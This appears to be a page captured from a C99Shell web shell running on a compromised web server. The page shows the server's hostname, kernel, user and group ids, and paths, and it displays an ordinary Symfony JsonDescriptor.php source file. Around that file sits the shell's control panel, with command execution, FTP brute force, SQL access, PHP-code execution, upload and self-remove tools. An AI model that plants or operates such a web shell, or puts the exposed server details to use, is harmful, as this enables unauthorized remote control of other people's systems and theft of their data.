!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/symfony/console/Descriptor/   drwxr-xr-x
Free 28.56 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     JsonDescriptor.php (5.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Console\Descriptor;

use 
Symfony\Component\Console\Application;
use 
Symfony\Component\Console\Command\Command;
use 
Symfony\Component\Console\Input\InputArgument;
use 
Symfony\Component\Console\Input\InputDefinition;
use 
Symfony\Component\Console\Input\InputOption;

/**
 * JSON descriptor.
 *
 * @author Jean-François Simon <contact@jfsimon.fr>
 *
 * @internal
 */
class JsonDescriptor extends Descriptor
{
    
/**
     * {@inheritdoc}
     */
    
protected function describeInputArgument(InputArgument $argument, array $options = [])
    {
        
$this->writeData($this->getInputArgumentData($argument), $options);
    }

    
/**
     * {@inheritdoc}
     */
    
protected function describeInputOption(InputOption $option, array $options = [])
    {
        
$this->writeData($this->getInputOptionData($option), $options);
        if (
$option->isNegatable()) {
            
$this->writeData($this->getInputOptionData($optiontrue), $options);
        }
    }

    
/**
     * {@inheritdoc}
     */
    
protected function describeInputDefinition(InputDefinition $definition, array $options = [])
    {
        
$this->writeData($this->getInputDefinitionData($definition), $options);
    }

    
/**
     * {@inheritdoc}
     */
    
protected function describeCommand(Command $command, array $options = [])
    {
        
$this->writeData($this->getCommandData($command$options['short'] ?? false), $options);
    }

    
/**
     * {@inheritdoc}
     */
    
protected function describeApplication(Application $application, array $options = [])
    {
        
$describedNamespace $options['namespace'] ?? null;
        
$description = new ApplicationDescription($application$describedNamespacetrue);
        
$commands = [];

        foreach (
$description->getCommands() as $command) {
            
$commands[] = $this->getCommandData($command$options['short'] ?? false);
        }

        
$data = [];
        if (
'UNKNOWN' !== $application->getName()) {
            
$data['application']['name'] = $application->getName();
            if (
'UNKNOWN' !== $application->getVersion()) {
                
$data['application']['version'] = $application->getVersion();
            }
        }

        
$data['commands'] = $commands;

        if (
$describedNamespace) {
            
$data['namespace'] = $describedNamespace;
        } else {
            
$data['namespaces'] = array_values($description->getNamespaces());
        }

        
$this->writeData($data$options);
    }

    
/**
     * Writes data as json.
     */
    
private function writeData(array $data, array $options)
    {
        
$flags $options['json_encoding'] ?? 0;

        
$this->write(json_encode($data$flags));
    }

    private function 
getInputArgumentData(InputArgument $argument): array
    {
        return [
            
'name' => $argument->getName(),
            
'is_required' => $argument->isRequired(),
            
'is_array' => $argument->isArray(),
            
'description' => preg_replace('/\s*[\r\n]\s*/'' '$argument->getDescription()),
            
'default' => \INF === $argument->getDefault() ? 'INF' $argument->getDefault(),
        ];
    }

    private function 
getInputOptionData(InputOption $optionbool $negated false): array
    {
        return 
$negated ? [
            
'name' => '--no-'.$option->getName(),
            
'shortcut' => '',
            
'accept_value' => false,
            
'is_value_required' => false,
            
'is_multiple' => false,
            
'description' => 'Negate the "--'.$option->getName().'" option',
            
'default' => false,
        ] : [
            
'name' => '--'.$option->getName(),
            
'shortcut' => $option->getShortcut() ? '-'.str_replace('|''|-'$option->getShortcut()) : '',
            
'accept_value' => $option->acceptValue(),
            
'is_value_required' => $option->isValueRequired(),
            
'is_multiple' => $option->isArray(),
            
'description' => preg_replace('/\s*[\r\n]\s*/'' '$option->getDescription()),
            
'default' => \INF === $option->getDefault() ? 'INF' $option->getDefault(),
        ];
    }

    private function 
getInputDefinitionData(InputDefinition $definition): array
    {
        
$inputArguments = [];
        foreach (
$definition->getArguments() as $name => $argument) {
            
$inputArguments[$name] = $this->getInputArgumentData($argument);
        }

        
$inputOptions = [];
        foreach (
$definition->getOptions() as $name => $option) {
            
$inputOptions[$name] = $this->getInputOptionData($option);
            if (
$option->isNegatable()) {
                
$inputOptions['no-'.$name] = $this->getInputOptionData($optiontrue);
            }
        }

        return [
'arguments' => $inputArguments'options' => $inputOptions];
    }

    private function 
getCommandData(Command $commandbool $short false): array
    {
        
$data = [
            
'name' => $command->getName(),
            
'description' => $command->getDescription(),
        ];

        if (
$short) {
            
$data += [
                
'usage' => $command->getAliases(),
            ];
        } else {
            
$command->mergeApplicationDefinition(false);

            
$data += [
                
'usage' => array_merge([$command->getSynopsis()], $command->getUsages(), $command->getAliases()),
                
'help' => $command->getProcessedHelp(),
                
'definition' => $this->getInputDefinitionData($command->getDefinition()),
            ];
        }

        
$data['hidden'] = $command->isHidden();

        return 
$data;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0109 ]--